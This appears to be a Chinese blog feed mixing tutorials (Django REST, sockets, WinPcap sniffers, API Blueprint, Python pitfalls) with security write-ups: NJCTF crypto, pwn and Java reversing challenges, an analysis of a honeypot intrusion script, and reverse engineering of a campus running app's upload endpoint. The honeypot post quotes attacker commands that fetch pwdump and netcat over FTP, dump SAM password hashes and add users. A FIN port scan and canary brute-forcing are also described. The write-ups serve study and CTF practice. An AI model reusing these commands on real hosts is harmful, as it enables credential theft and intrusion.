1 | router = DefaultRouter() |
这样的话,通过访问指定来的url(xxx/coments/)就能够访问到一个用于调试用的界面。由于我们继承的是ModelViewSet,所以我们函数中带有list
,delete
,update
,create
,retrive
的功能。具体体现:
list
:queryset中的内容全部展示在当前页面create
:提供一个post方法retrive
:可访问(/comments/123/)update
:提供了一个put更改delete
:(/comments/123/)中有一个delete按钮查看源代码可知,在retrive或者list方法中,会调用一个叫做get_object的方法,那么如果我们不想让这个ViewSet获得默认的数据,或者想让其通过别的方式获得数据的话,可以通过重构这个函数来实现这个功能。
上面讲了viewset,这里讲一下router的用途。Router就是一个封装好的路由类,通过注册–>加入url的方式完全自动生成动态的url:
1 | router.register('comments', CommentViewSet) |
如上,此时匹配的url规则就会包括[/comments/id],当然id是否可以匹配取决于注册的CommentViewSet是否支持update这类方法。
当然RESTFUL中提倡资源嵌套,如[/author/1/comment],为了实现资源嵌套,一个router肯定是不够的,而中间的1又是一个变量,这样的话我们可以用提供的装饰器解决:
1 | class A(xxx): |
这里通过使用了装饰器,指定了当我们使用post方法的时候,我们就能够像访问到[/A/id/my-url]的位置,如果不指定名字的话,那么这个my-url就会替换成def后的名字。
然而,有时候我们就是这么懒,想要用现有的方法,但是对于另一些方法又想要让其访问到ViewSet以外的url,并且此时还要是另一个ViewSet中的数据库的内容。这就要用到Router的Bind技术:
1 | class MoneyViewSet(ModelViewSet): |
假如如上,MoneyViewSet中,我们定义了一个方法getMoney,所以要从Money的数据库中查找数据,但是此时我们的url设计为[/bank/{id}/money/](因为要找到对应的bank),所以此时我们同时需要取得bank的id并且访问对应点money的数据库。显然,我们要是直接注册MoneyViewSet,就会形成[/money/{id}],显然就不是我们要的url。为了保持我们的设计原则,我们这里可以这样处理:
首先在urls.py中绑定我们的ViewSet:
很多时候,我们测试的过程中可能包含了【管理员】与【用户】的差异。当我们为了测试时模拟这个用户的过程,我们可以用APIClient:
假设我们此时项目有一个用户对象类为Uesr,继承了来自django自带的AbstractUser:
1 | self.user = User.objects.create(username="user") |
这个过程中,就能够模拟出一个登陆的会话,该会话中我们就是以用户名为"admin"登陆的。
]]>首先,socket即为所谓的套接字,套接字将底层的网络通信的工程封装成一个个函数,我们通过使用套接字提供的接口,完成网络通信。
网络通信过程中,客户端通过以下几个步骤完成数据通信:
int socket(int domain, int type, int protocol)
int bind(int sockfd,struct sockaddr *my_addr,socklen_t addrlen)
1 | struct sockaddr { |
1 | struct sockaddr_in{ |
这里注意地方:
1 | addr_serv.sin_addr.s_addr = inet_addr(DEST_IP_ADDRESS); |
通常按照如上赋值。
2.htons可以将整型变量从主机字节顺序转变成网络字节顺序。就是所谓的高字节在低位,低数字在高位。
1 | struct sockaddr_in addr_serv,addr_client;/*本地的地址信息*/ |
此函数为服务器端调用
int cnnect(int sockfd, struck sockaddr* servaddr, int addrlen)
ssize_t send(int s,const void *msg,size_t len,int flags);
ssize_t recv(int s,const void *msg,size_t len,int flags);
最初的设计思路比较简单,就是简单额度使用了connect函数进行连接。调用了connect之后,客户端便会向指定服务器发送一个带有SYN的数据包,然后此时如果此端口没有开放的话,则会返回RST数据包。但是这个过程比较慢,因为connect这个过程在失败的时候,计算机会进行等待。显然这么做是非常低效的。于是这里打算采用发送FIN数据包的方式进行端口扫描
比起之前提到的两种协议,socket还支持第三种协议:SOCK_RAW,这个协议可以保证让我们自行的构造tcp头部和ip头部。
我们这里只选择创建tcp头部,于是我们的socket要改成如下的形式:
1 | socket(AF_INET, SOCK_RAW, IPPROTO_TCP); |
上述的说法能够让我们自己定义tcp头部(如果要定义ip头部的话,我们需要增加setsockopt这个函数)
同时,只有超级用户能够使用socket raw,我们这里调用setuid来提升我们的权限。并且,经测试,在编译期间也必须给予超级用户的权限,否则的话依然会报错
struct tcphdr :结构体,可以用来 构成tcp头部。注意当我们手动构造tcp的头部的时候,此时目标地址的port也要提前放入dest_addr(?)
这是头文件中的结构体(看到网上很多地方都没有提到怎么写啊…),几乎就是直接往这些结构体元素中填入我们指定的值,就能够构成tcp头部。
我们这里只需要随机构造我们的random,完成我们的32bit随机数。
并且由于不适用connect,我们需要改成如下函数:
int sendto(int s, const void * msg, int len, unsigned int flags, const struct sockaddr * to, int tolen);
在实验了两天后,发现首先第一个问题是checksum不能错哇。。。不然的话tcp那边不认。。会丢掉这个包的。。。
然后,发现发送一个fin包的时候,是不会有任何的回应的(?),于是靠着syn包的回复来进行辨认。。。。
sniffer 在wiki上的解释就是packet analyzer,也就是【包分析】。sniffer可以拦截和记录经过的数据包。
换句话说,就是要有
大致的过程了解清楚以后,就可以大概设计一下框架了:
然后参考了他人读的sniffer,加上大致的思考,getPacket,decodePacket应该都会与socket有关系,应该将这两个方法抽象在同一个类里面。
sniffer必定会处理多个数据包(数据包已经被封装了),所以在Sniffer中必定要有一个记录每一个经过数包的属性。
指明了不给用python 啊好气,看来只能是用C的Winpcap来实现这个过程了。
首先我们需要获得所有的ethernet adapter(以太网适配器),这个过程可以使用函数pcap_findalldevs_ex()来实现:
1 | int pcap_findalldevs_ex ( char * source, |
source: 源地址,我们通过设定源地址来指定我们需要监听的地址,比如监听本地的话就是:‘rpcap://’ 监听远程的话就是’rpcap://host:port’ 。其中,宏 PCAP_SRC_IF_STRING 就是’rpcap://’。
auth: 指定了当前监听的对象权限的路径。如果是本地的话,可以直接设置为空
alldevs: 关键参数,如果成功获得设备的话,会给当前指针一个pcap_if_t的链表的头指针。
errbuf: 出错参数。这个char*[PCAP_ERRBUF_SIZE]中会包含当前的出错信息。
关键参数就是这个alldevs,其结构体为pcap_if
1 | struct pcap_if * next |
void pcap_freealldevs(pcap_if_t** alldevs);
用于释放当前获得的设备
1 | pcap_t* pcap_open ( const char * source, |
snaplen: 制定要捕获数据包中的哪些部分。 在一些操作系统中 (比如 xBSD 和 Win32), 驱动可以被配置成只捕获数据包的初始化部分: 这样可以减少应用程序间复制数据的量,从而提高捕获效率。如果将值定为65535,它比我们能遇到的最大的MTU还要大。因此总能收到完整的数据包。
flags: 最最重要的flag是用来指示适配器是否要被设置成混杂模式(promiscuous,宏为PCAP_OPENFLAG_PROMISCUOUS )。 一般情况下,适配器只接收发给它自己的数据包, 而那些在其他机器之间通讯的数据包,将会被丢弃。 相反,如果适配器是混杂模式,那么不管这个数据包是不是发给机器,机器都会去捕获。这意味着在一个共享媒介(比如总线型以太网),WinPcap能捕获其他主机的所有的数据包。 大多数用于数据捕获的应用程序都会将适配器设置成混杂模式。
to_ms:指定读取数据的超时时间,以毫秒计(1s=1000ms)。在适配器上进行读取操作(比如用 pcap_dispatch() 或 pcap_next_ex()) 都会在to_ms 毫秒时间内响应,即使在网络上没有可用的数据包。 在统计模式下,to_ms 还可以用来定义统计的时间间隔。 将to_ms 设置为0意味着没有超时,那么如果没有数据包到达的话,读操作将永远不会返回。 如果设置成-1,则情况恰好相反,无论有没有数据包到达,读操作都会立即返回。
pcap_open()函数的返回类型为 pcap_t * ,在引用时我们需要先声明一个pcap_t 类型的指针。这个函数将会返回当前的设备。并且在获得当前设备后,我们就能够释放掉其他的设备。
1 | pcap_loop(pcap_t * p, |
p: 当前设备的句柄
cnt: 指定收到多少的数据包就停止检测。如果我们设置为0,那么将会一直接受数据包
user: 指定的操作者(?)
callback: 关键参数,用于存放回调函数,回调函数的格式为:
1 | void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) |
param: 传入的各类参数(?)
header: 捕捉的数据包的头部
pkt_data: 数据包的内容
数据包头中会记录相关的时间信息
1 | struct pcap_pkthdr { |
为了获得可读取的时间,我们需要对header中的时间参数进行修改:
1 | time_t local_tv_sec = header->ts.tv_sec; |
1 | int pcap_next_ex ( pcap_t * p, |
p: 设备句柄
pkt_header: 包的时间信息与长度的指针
pkt_data: 包收到的数据的指针
返回值:
1 成功读取数据
0 经过了在pcap_open_live() 设置的存活时间. 此时 pkt_header 和 pkt_data 将不会指向一个有效的包
-1 发生了错误
-2 此时读到了捕捉器的末尾(?)
在能够抓取到数据包后,我们应该尝试的解析数据包中内容。winpcap能够抓到的最上层的报头为链路层报头,于是乎我们还得复习一下链路层的帧的结构:
一开始做实验的时候,发现无论怎么发送请求,都会返回数据包,仔细研究了NNNN久之后,意识到我是用ssh连接上去的,然后这个ssh呢,自然也是有数据包的。。。。
这个也是一个大坑。当我快要完成的时候,我发现无论怎么发送数据包到主机,都不能成功。后来在大佬同学的指点下,才知道windows的防火墙会过滤掉这种数据包,只有在关闭了防火墙我才能够继续发送请求。。
这个是帮同学调试数据传输的时候遇到的问题。C++的std下有一个函数也叫bind,而且作用是绑定一个函数形成函数指针,而winsock2下的bind是用来绑定端口的地址的,然后,在漫长的调试之后,终于发现了这个事情。。。所以当我们使用winsock2的bind时,应该写作:
1 | ::bind(); |
由于windows下不能使用socket而准备使用的winpcap,如果要使用官方的例子的代码的话,就必须要在引入pcap.h之前,加入***#define HAVE_REMOTE**的宏定义,否则很多函数就会出现未定义的提示
参考博客:
http://blog.csdn.net/tigerjibo/article/details/6764613
http://blog.csdn.net/cqcre/article/details/39924789
http://blog.csdn.net/u010487568/article/details/39329791
这一题拿到就发现有四个文件:
1 | Relax!This is just a test! |
肯定就不是flag啦!发现flag.txt,cipher.txt里面的文本为乱码,其中cipher.txt用winhex查看后发现正好字数和plain.txt一样,所以可以猜测使用了encrypt.c加密过。这个文件里面内容为:
1 |
|
果然key没有告诉。所以这里只需要我们将plain.txt和cipher.txt进行运算将key求出来,最后再将flag.txt解密即可。
1 | char key[90] ; |
求得key为NJCTF{N0w_You90t_Th1sC4s3}(不知道是不是对的。。因为有几个地方乱码了)
发现没有给文件!居然是个盲注!
这个第一次玩啊。。。这里问了大佬,大佬说用暴力破解的方式找到对应的access code,发现是22,然后输入22后变成
这就有意思了。。然而这个echo *,发现目录下的确是有一个flag,但是怎么读取就想不到了。。。
分析后发现,这个居然是把这道题目完整的代码(包括网络通信部分)给出来了:
然后仔细看黄色标注的部分,我们在接受到数据之后,会fork一个进程(不然其他人的就卡死了呀)
仔细看黄色部分,父进程是一直在保留的。我们复习一下啊fork的过程:
当fork的时候,子进程得到与父进程用户级虚拟地址空间**相同**(但是独立的)的拷贝,包括文本,数据和bss段、堆以及用户栈。子进程还会获得与父进程任何打开文件描述符相同的拷贝。
也就是说,此时的栈空间中的数据可以理解成是不变的。然后在recv_message函数中,可以找到溢出
但是开启了canary。。。本来可能真的要放弃,但是!我们刚刚提到了,父进程一直在跑,那么就可以理解成栈中的数据在始终还是维持不变的,那么我们就能够通过猜测canary的方式,把canary本身猜测出来。加上在代码开始(截图中没截出来),就发生了一次打开flag.txt并读取数据的操纵。那么我们就能够通过修改send函数的参数,从而拿到flag。
由于虚拟机炸了,没有强力pwntools的我和咸鱼一样了。。。。
1 | import socket |
最后拿到flag:
NJCTF{C4n4ry_15_s0_vuln3ri4613_49457_bru73-f0rc3}
本实验中所用的操作系统:Windows 7旗舰版 SP1。来自200.1.x.y(假设的IP)的攻击者成功攻陷了一台部署有蜜罐系统的主机222.200.p.q(假设的IP),蜜罐主机记录了入侵过程,入侵数据经提取并经简化处理后的脚本代码如下所示。其中,www.unknown.net是假设的域名。
1 | echo werd >> c:\fun |
代码略长,我们一点点分析 :
1 | echo werd >> c:\fun |
应该是记录了攻击者的名字以及攻击的端口,从变量名字上看,是一个ftp的网站?
1 | echo get samdump.dll >> ftpcom |
这一段比较有趣,samdump.dll是啥呢,随便上网一看,找到了一些相关的信息:
%Temp%\data\pwdump2\samdump.dll
%Temp%\data\pwdump2-orig\samdump.dll
%Temp%\ixp000.tmp\pwdump2\samdump.dll
%Temp%\ixp001.tmp\pwdump2\samdump.dll
%Temp%\pwdump2\samdump.dll
%Temp%\rarsfx0\pwdump2\samdump.dll
%Temp%\rarsfx3\pwdump2\samdump.dll
6了,这个pwdump怎么听也不像一个好东西吧?随便上网查一下就会发现,这个东西会是一个系统授权信息导出工具。其甚至可以导出用户的LM hash处理过的密码!这里解释一下LM是啥,LM就是微软提供的一种加密方式,类似与hash,其中有DES加密的参与的一种算法。
加上ftp -s,大致就能明白:
然后利用下载的pwdump.exe,找到windows的sam密码。
1 | echo userjohna2k > ftpcom2 |
这一段很显然,就是将这个new.pass上传到了指定的网站上。但是!仔细看的话会发现这个hacker似乎忘记打echo了。。。估计是上传失败了
1 | ftp 200.1.x.y |
第一句话存疑,可能是攻击者自己登陆了ftp,然后下载?联系最后一句莫名冒出来的open,加上之前的操作。这个人很可能操作错误了,而且从后面的内容看,这一段依然是错误的。
1 |
|
这里又是重新的将之前的攻击文件下载了下来。估计是之前登陆的密码都是错的,这里
1 | C:\Program Files\Common Files\system\msad c\pwdump.exe >> yay.txt |
从这次来看,估计是前几次攻击存放的hash值存在差异导致,最后多次将数据存入yay.txt以确保受到数据。
1 | net session >> yay2.txt |
这段比较有意思,键入不带参数的 net session 可以显示所有与本地计算机的会话的信息。而net users则是显示出当前的所有用户。最后一句话正好符合:
net localgroup groupname name […] {/ADD | /DELETE} [/DOMAIN]
虽然不知道IWAM_KENNY是啥,但是大概的意思就是将Admin加入Domain用户组。
1 | mkdir–/s |
最后这个家伙企图新建文件夹(这四条都打错了。。),而c:\winnt\repair\sam._ sa这句话是读取本地的sam数据库(就是存放admin hash的位置)。最后在完成了偷窥后(不知道成功了吗,好像打错了),就将数据删除了。
(1) 攻击序列中生成几个批处理文件?
ftpcom, ftpcom2, fun(?), sasfile, yay.txt, yay2.txt, har.txt
(2)攻击者使用了什么黑客工具进行攻击?
pwdump,可以将当前的系统授权信息导出的工具。可能会泄露管理员密码。
(3)攻击者如何使用黑客工具进入并控制系统?关键技术是什么?
这个代码中并没有提到。给出代码段中也只有一些失败的操作。但是似乎有一次成功下载了nc.exe和pwdump.exe,不知道有没有后续操作。
(4)当攻击者获得系统的访问权后做了什么?(需具体描述)
多次企图登陆ftp下载pwdump.exe和nc.exe,对会话和用户进行了查看(嗅探?),企图创建文件加,最后似乎找到了文件并且查看(估计也没看到)
(5)如何防止这样的攻击?
打补丁呀当然是。
(6)攻击者是否警觉其攻击的目标是一台蜜罐主机?如果是,为什么?
我感觉没有。。。就mkdir都能打错的话估计也没想到蜜罐。
(7)攻击者在最后多次使用mkdir命令,这是Windows的合法命令吗?其企图是什么?为什么会连用多个同命令?
没啥企图吧。。。他打错了呀。可能是打算创建文件然后失败了。
(被折磨的不要不要的。。。)
首先似乎是通用markdown的部分语法的。。。
然而,makrdown里面的部分语法效果有微妙差距。
FORMAT: 版本
通过一个元数据来指定当前的版本
markdown中的
##
表示的是第几级标题,而在API-Blueprinth中会表现呈如下;
可以看到,Blueprint的标题等级并不非常严格,一般来说按照如下的规则:
1 | # Group 消息 |
我们可以在一级标题后定义我们的模块资源位置:
1 | ## 消息 [/messages/{id}] |
通过标题 [url] 的形式,可以将我们的模块安排在对应的url下。在Blueprint里面,所有的数据信息都是资源。resource的定义是以#开始的,中间是resource的名字,最后使用[url]将数据包括在里面
response是写在三级标题下的内容。由于算是属于该标题下,所以另启一行使用+作为开头
1 | ### 获取消息 [GET] |
当我们谈及一个action的交互的时候,就会谈及response的相关。Blueprint中我们可以记录response的返回状态码和返回内容的类型。
比如:
Response 200 (text/plain)
表示当前的返回值内容为200,同时将Content-Type设置为text/html,从而能够调用html的解析(当然这个状态就是啥都不解析。。)
然后,我们还能够继续其返回头和返回体。设置这些的时候,header和body作为同级别位于对应方法之下,应该使用一个tabs,其具体内容则是要使用三个tabs作为缩进表示为标题的内容
1 | ### 获取消息 [GET] |
(倒是更加符合md的格式了)
Blueprint中,request和response的结构差不多,也可以放相似的内容。只是request使用的是request关键字而已。
当我们想要在二级标题的url下增加参数后,我们就可以通过使用{}将参数包裹,如:
1 | ## 消息 [/message/{id}] |
然后需要在接下的位置上写上id的相应**[例子参数]与[类型]和[相关叙述]**
格式为:
[tabs]+ 变量名: 例子 (类型) - 叙述
1 | + Parameters |
注意空格,不然的话很容易出问题.
我们还可以提供另一个url,返回一系列我们的message。然后这个url下需要加上用于限制返回资源的参数limit
,当然由于这个参数可能不会影响每个方法,所以还要在特定的方法下写:
1 | ### Retrieve all Messages [GET] |
注意json返回值如果是一个list内容的话,至少要两个tabs。
如果设置没问题的话,结果会如上。
当想要在request或者response中增加属性的时候(也就是表单一类的参数值),我们需要首先设置一个Attributes属性,然后在后写上足够的注释:
1 | + Attributes(object) |
同样还是要注意空格和tabs。形成如下的图表内容:
如果我们已经实现了一个属性,然后在别的对象中也有相同的属性的时候,可以直接填入之前卸写了属性的位置:
1 | ## Coupon [/coupons/{id}] |
现在先记一下存疑的地方好了:
array关键字:不懂,好像是放在一个属性集群中的。
我第一次是从网上直接下载了apk然后进行观察,发现这个apk完全不能用啊,里面都是qihoo的保护内容,而且又是喜闻乐见的动态加载。总不能自己解析这个数据包吧,所以第二次,我就将app直接从手机上传到了电脑上(一开始还root啊各种花式操作,然后发现qq自带这个功能。。。)
首先将文件解压,然后将里面的.dex文件使用dex2jar转换成了jar文件,里面的内容大致如下:
仔细观察,发现这里的类中,只有一个叫做"huidong"的package比较可疑,其他的数据似乎都是辅助。然后我们来看看里面的文件结构:
箭头指向的这个很可能就是我们需要了解的觅动的相关函数,pbl是android app启动的时候用于初始化物理设备,引动系统内核启动的;zxing是实现二维码扫描的;meetwalk里面放置似乎是。。让我们想一想,觅动校园里面的主要功能分为:
这个类中记录了【打卡过程】,里面有【当前的打卡状态】,以及【打开的逻辑判定】
这个类记录的是【打卡是否完成】,以及提交的方位。
通过搜索关键字**【保存提交】**,我们会将提交功能定位到目标函数:
1 | private void savePoints() |
函数的最后有以下内容:
1 | GPSRouteActivity.this.http.httpRequest(5307, localHashMap, false, SaveRouteResult.class, true, false); |
这个函数将会把我们的跑步数据上传到网上。也就是说,这个过程中有可能能够找到我们平时的数据都上传到了哪里。
接下来我们顺着访问httpRequest函数:
1 | public void httpRequest(int paramInt, Map paramMap, boolean paramBoolean1, Class paramClass, boolean paramBoolean2, boolean paramBoolean3) |
从代码看,这里的内容几乎就是发送的过程了。虽然不是太明白,但是大致内容就是发起了一个http请求,这个请求能够将我们的数据存放在服务器上的数据库中。
然后这里应该是将我们的数据上传,然而这个位置的str1的地址是啥呢?感觉这里不弄清楚就没有办法继续下去了。。
想起来比赛时候下载的BeCompare,于是将Constants.class导入,查找BASEURL,发现为
http://58.213.141.235:8080/qmjs_FEP/
那么也就是说,发送的地址就为:
http://58.213.141.235:8080/qmjs_FEP/datewalk/createSportTrack.action
这个地址就会将我们的数据上传上去。然后我们尝试访问
http://58.213.141.235:8080/qmjd_FEP
发现内容为
感觉已经很接近了,我们尝试访问我们的createSportTrack:
访问失败?看起来我们必须伪造一份请求数据(还的是json),然后里面有要求的元素的场合,我们才有可能成功访问。。。
那么我们回到原先的代码,看看都传输了什么数据过去:
1 |
|
从分析上看,这一段代码主要是在完成我们的跑步路线的设置,而我们的登陆过程显然不是在这里完成的,注意到一个函数:
GPSRouteActivity.this.checkLoginInfo();
这个函数将会检查我们的登陆信息,这个函数内容为
1 | public void checkLoginInfo() |
就是一个简单的检查函数,关键就是这个BodyBuildUtil这个对象,里面似乎会存放我们的【个人登陆信息】。检查过程就不贴出来了。因为数据量太大了。。。想要看出来好像有点麻烦。。。。。。
所以我选择了ask question,结果居然是sun it
卧槽
惊了
以我的水平目前还是做不到的。。。这里就先搁着了。
学习了一下抓包的技巧,再次记录
首先让手机连接电脑打开的wifi,然后打开burpsuite
找到proxy下的options选项
然后选择add监听更多端口,并且设置如下:
接下来我们进入手机wifi的设置,设置无线的代理配置如下:
就能够通过burpsuite抓取手机上的数据包了!接下来我们查找有关http://58.213.141.235:8080/qmjs_FEP/datewalk/createSportTrack.action url的数据包,结果发现为:
这个body是个什么鸡!!!!!!!!!!为什么这么长长长长。。。。。。。。。。。仔细想了一下,header中并没有提到我们的奔跑数据,那么这个位置上的数据,就应该是我们GPS所记录的奔跑数据了。
]]>某年,人类因巨大灵力波动潮而灭绝,故事发生在人类神秘灭绝后的大陆,度过了几千年的无文明时代,这片新大陆迎来了新的住民,来到这片大陆上的新住民分裂成了三股势力。有的敬畏自然与灵力的力量居住在丛林之中,被称为A族,有的通过研究遗留下来的先知遗迹意欲发展机械的力量,逐渐壮大发展为B族。敬畏灵力的A族认为发展机械力量是重蹈人类的覆辙,因此AB两族常年处于敌对状态。大陆上还存在一个神秘的中立力量,据传说中立力量结合了两种力量研究出炼金之力,意欲隐居在大陆之中。而我们的主角,身世成谜,有着自己独特的战法,闯荡于新大陆之上。
2D横版多人格斗(dnf)。
win7及以上。
Unity 5
基本角色类别分为四类:
属于面向新手入门的角色,这类角色各属性居中,技能包含各种种类的技能,没有明显偏向,属于全能型角色。
主角正背
主角
这类角色特色在于招式的伤害和控制都很强,但是血量和防御都较低,属于结合控制效果瞬间对敌人造成大量伤害的爆发进攻型角色,在防御方面略显不足,容易被对手造成大硬直。
精灵
术士A
术士A
这类角色特色在于血量和防御都较高,对伤害产生更小的硬直,带有较多的霸体技能,但是灵活性较差,属于承受较多伤害同时对敌人进行硬攻击的角色。
兽娘B
兽娘B正侧背面
这类角色的特色在于灵活性很强,适合于消耗对方血量的游击战术,可能带有小幅再生回血技能,闪避技能冷却更快,行动速度更快。但血量和防御偏低,伤害的爆发性不强,
(暂时没图片啦啦啦)
人物技能的施放由两项因素限制:技能的冷却时间、人物精力值。
玩家控制角色在同一地图上进行格斗,血量先耗尽的一方为输家,另一方为赢家。
玩家按下格挡按钮,会对攻击进行格档:
破格判定:未发生完美格挡的时候发生,此时角色的格挡值会随着每次被攻击的时候下降(下降程度取决于攻击技能),当下降为0的时候,格挡失效,造成大硬直和小伤害
描述;
此状态下,玩家不能够操作对应人物,同时人物会发生一定位移
触发条件
玩家在【技能释放】受到攻击或者【破格】状态下触发
时间长度(算法决定):
由
描述:无敌状态,特定技能如击地技能可以对倒地玩家造成伤害。若玩家不施放自救技能,无敌判定直到人物完成起身动作后。特定角色的起身动作会对周围的玩家造成伤害(被动技能)此时 不可控制游戏角色。
触发条件:系统硬性保护机制触发(单次连招内血量耗损为触发条件)
时间长度:固定时长
备注:若倒地后遭受攻击后继续倒地,相应的倒地时间会按照算法衰减。
描述:人物纵向坐标大于一定高度进入浮空状态,浮空状态仅可使用浮空状态下的技能。浮空状态有伤害判定,浮空状态下受到连招有相应的硬性保护机制会形成强制倒地。
触发条件:人物受到向上方向的力(技能造成)导致纵向位移达到一定高度、人物进行跳跃操作时触发。
描述:技能施放状态下,角色进入一定的无操作响应的硬直。这段硬直过程中,根据技能特性给角色带来buff(如减伤,增加抗硬直,霸体等)和debuff(如易受到硬直等)
触发条件:使用技能
霸体:
触发条件
(?)
描述;
此状态下,玩家的【技能释放】不受到影响
时间长度:
首先我们来看下面的程序:
1 | def extend_list(val, l=[]): |
这个list1和list2的输出是什么呢?
一般来说应该会认为是:
1 | >>> list1 |
然而实际上答案却不是这样的。。。
1 | list1 |
会发现,list1指向的list在第二次extend_list执行的过程中,依然参与了函数的运算?这是为什么呢。。。
对于python这类程序来说,变量不是[指针]而是[句柄],也就是说,python中的变量都只是一个指向内存位置的id。然而每次在定义一个函数的时候,可能是为了节约空间,所有的mutable对象都只会在定义的时候初始化一次,这就意味着,无论我们调用多少次这个函数,返回值中的list始终是同一个,所以当我们调用函数次数越多,list中的元素也就越多。
为了检验这一点,我们使用id()来检查这一点:
1 | def extend_list(val, l=[]): |
从这里可以看出,我们的val值对应的id始终是不一样的,而这个l始终指向了同一个内存地址。因此此时修改list1,list2或者再次调用函数,都将会对他们指向的那个list造成影响。
这个问题官方是有提到的,官方不建议那mutable作为参数,取而代之的是:
1 | def f(a, L=None): |
使用不可变参数None作为传入。
或者,我们可以在传入时产生一个副本(参考知乎大佬)
1 | def foo(bar=[]): |
这样的话每次bar对应的都是另一个list,同样可以避免问题。
]]>这个题目。。。吓到我了,下下来是一个.jar文件,于是直接拖到jd-gui里面反编译,然后。。
我艹艹艹。。。。这么多类。。。。然后先看一看MANIFEST设置文件好了。。。然后发现里面写了主类:
1 | Manifest-Version: 1.0 |
好吧顺着找过去:
1 | package pwnhub; |
仔细一看这里出现了三个类。。。除了主类之外,还有一个什么什么a4a8917…这个似乎有一个方法b,并且要没有返回值,然后会将这个code赋值给一个f2什么的。。。
这里我们继续追踪a4a什么的
1 | package pwnhub; |
哇!!!!!!!var10000!!!!!!我是不是眼花了!!!!!!!!!!
算法本身看起来非常复杂。。。但是然后我们会发现一个奇怪的地方。。。
这几个数字不是什么普通的数字吧。。。。看起来更像是sha1的样子,于是上网去查询:
发现sha1中用到了5个变量,并且这里面出现了sha1中才有的函数,那么就能看出来,这就是一个sha1加密了。。
然后那个算法。。仔细一看,又是凑成4的倍数,又是&0x3f,那么估计就是base64了。。。然后我们尝试的将加密的那段文字进行base64解密:
b’\x15V\x85\xb0\xe1\xa9\x96\x18\xb7\xda\xe8\xab\xf6p\x9b\x81\x04\xce,\x83’
看起来是一串二进制数字啊。。。但是毕竟是使用了sha1加密过的结果。所以应该是有可能变成了不可见的2进制,并且这一串数字又正好是20位数,正好就是之前得到的四个值。
虽然各种暗示都表示此时只有四个字符,但是我写了个脚本就是跑不出结果。。。我打算直接将这一段写成java试一试。。。
java的String 真·是·招·黑。。。。最后找到答案是mdzz。。我也觉得。。。开个eclipse真是卡的爆炸。。。
然后我们接着往下看:
1 | package pwnhub; |
这这。。。。又继承了一个类,那么接着看:
1 | package pwnhub; |
哦我tm快要打人了真的。。。这个e9是个什么鬼。。。而且令人讨厌的是,这个code是好像没有明确的指出来是用在那里的。。。而且这个pwnhub.checkFlag类又在哪里啊。。从这里看,似乎是加载了一个叫做pwnhub.checkFlag的类,然后企图调用里面的check方法吧。。那么我们就要注意到,这个e9什么的类,应该是个用于【读入类】的对象
看来这个乱码不是应为是 jd-gui的问题啊
1 | package pwnhub; |
简单来说,这个倒霉的程序,把我们需要的类给加密了。。这还是第一次捡到这类的。。不过从这个歌处理方式来看,所有的类的名字应该都是被加过密的,所以这里假设che这个checkFlag类也被加密了,那么此时得到的就会是:
b51e17dbdb36295e7ab7541157ae7480
令人兴奋的是,的确是存在对应的类的。那么我们就确定了被加密的文件,接下来需要将这个加密后的文件进行解密:
吐槽一句,java的题目最讨厌的就是,java的加密总是和其他程序的加密不太一样,非要用它自己的方法来解开。
然后,好像成功了?接下来就是将这个.class文件反编译一下了:
上面这一步骤我几乎做了一万年。。。。辣鸡eclipse真的不想再用第二次。。用了一个叫做beyond compare的软件完成了反汇编:
1 | // Decompiled by Jad v1.5.8e2. Copyright 2001 Pavel Kouznetsov. |
我还以为做完的时候,突然当头一棒!这个cadqa是什么啊。。。。。。我仿佛看到了结局。。。。
a1ccf9b501dacecf3bae1c3a37bce98e
这个类也是存在的
1 | // Decompiled by Jad v1.5.8e2. Copyright 2001 Pavel Kouznetsov. |
我tm做着做着觉得不对。。。。。卧槽又有一个类。。。我真的睡了。。。
1 | // Decompiled by Jad v1.5.8e2. Copyright 2001 Pavel Kouznetsov. |
我们来冷静分析一下,每次都是b[i]会被重新赋值,而我们知道,b[i]总共为16位,那么这个游戏应该会持续16次(卧槽)。虽然一开始的时候想着要将全部都反编译一下,但是此时我发现扰乱的部分太多了。。。还是得一点点做。。
==>\007_d-’
==>fthyl
==>
之后都不贴完整的了。。。。要找的太多。。
fthyl:
b[1] ^= 0x4b164dc6;
string = [Qg2t ==>knklz
knklz:
b[3] ^= 0x2e558ed3;
string = “Zg<P\037”==>swygk
swygk:
b[13] ^= 0x224b13e8;
string = “m\023y+8” ==>xbzvx
xbzvx:
b[3] ^= 0x545a51c4;
string = “yT(\b" ==>bstqh
bstqh:
b[9] ^= 0xb2bb4d8;
string = “\177M\034@?” ==>lmvxj
lmvxj:
b[4] ^= 0x15532729;
string = "Y|yB” ==>iaclf
iaclf:
b[1] ^= 0xef2b115;
string = " b]Z8"==>cipgj
爆炸了这做到什么时候去啊粉蛋!!!!!仔细一想。。。这个文件是一个.jar…那么应该是可以执行的才对。。于是这里尝试上一波调试。。
eclipse再次爆炸,我渐渐明白了什么叫做一生黑。。。
使用jdb进行调试,首先java的调试方式是通过运行程序使其存在于在某个端口,然后通过jdb进行connect:
1 | java -agentlib:jdwp=transport=dt_socket,server=y,address=8050,suspend=y -jar pwnhub.jar #设置端口 |
然后打开另一个终端,此时:
1 | jdb -connect com.sun.jdi.SocketAttach:port=8050 |
将调试器attach上去,从而进行调试。
首先是 pwnhub.d1a2276cb6055f0a6d12ac4004352f0b.
step
然后是:pwnhub.load.l(), 行=1,509 bci=10,247
next
在pwnhub.checkFlag.check(), 行=16 bci=37处发生了capda
然后每个16行就发生一次写入数据。。。
最后在同伴的帮助下,使用了grep找到了另一部分的类。。。。。发现原来有另一种函数,那个函数也是非常长…上网查询后估计是des加密的一种(猜测),然后注意到,这个类里面的方法叫做b,并不是之前的i,所以我们猜测在这种五个字母组成的字符串的类中一定存在着某一个类调用了这个方法(不然为什么最后的答案位数那么多),利用grep+正则表达式,找到了了一种以**【四个字母】**开头的程序:
frsu:
1 | public class frsu { |
由大量魔数可知,这一定是一个des加密方法,而des加密的重点在于其是一个**【对称】**的加密,它在密钥的时候上是一个对称的状态,尤其从下面代码中可以看出:
1 | var27 = var28 << 28 | var28 >>> 4; |
这个加密是以2个为一组进行加密,而且des本身的解密就是将密钥倒过来使用,而由之前的代码可得到加密后的明文,所以这里我们将密码倒过来使用:
1 | for (int i = 0; i < 16; i += 2) { |
最终!!!!!我们成功的得到了一串不带负数的答案!!
]]>用了wifi共享大师一段时间了,但是发现这个玩意儿好坑啊,后台的进程居然关不掉!!后来在某某大牛群里面看到了wifi可以直接用bat打开?!惊喜之下记录学习过程(小白学习大佬求轻拍_(:3__< 毕竟是老物而我等小白才知道。。):
